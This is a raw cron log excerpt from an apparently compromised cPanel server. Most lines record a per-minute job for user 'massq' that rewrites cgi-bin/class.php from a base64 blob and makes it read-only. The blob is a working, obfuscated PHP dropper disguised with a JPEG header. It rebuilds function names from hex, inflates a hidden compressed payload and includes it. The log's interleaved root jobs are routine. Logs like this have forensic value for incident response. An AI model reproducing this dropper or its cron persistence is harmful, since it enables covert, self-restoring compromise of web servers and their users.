Nov 10 12:25:01 server CROND[6468]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:25:01 server CROND[6467]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 12:26:01 server CROND[7452]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:27:01 server CROND[8206]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:27:01 server CROND[8207]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 12:28:01 server CROND[9195]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:29:01 server CROND[10027]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:30:01 server CROND[10911]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 10 12:30:01 server CROND[10912]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 12:30:01 server CROND[10913]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:30:02 server CROND[10918]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 12:30:02 server CROND[10919]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 12:31:01 server CROND[11840]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:32:01 server CROND[12748]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:33:01 server CROND[13616]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:34:01 server CROND[14443]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:35:01 server CROND[15288]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:35:01 server CROND[15289]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 12:35:01 server CROND[15292]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 12:35:01 server CROND[15291]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 12:35:01 server CROND[15290]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 12:36:01 server CROND[15628]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 12:37:01 server CROND[16545]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
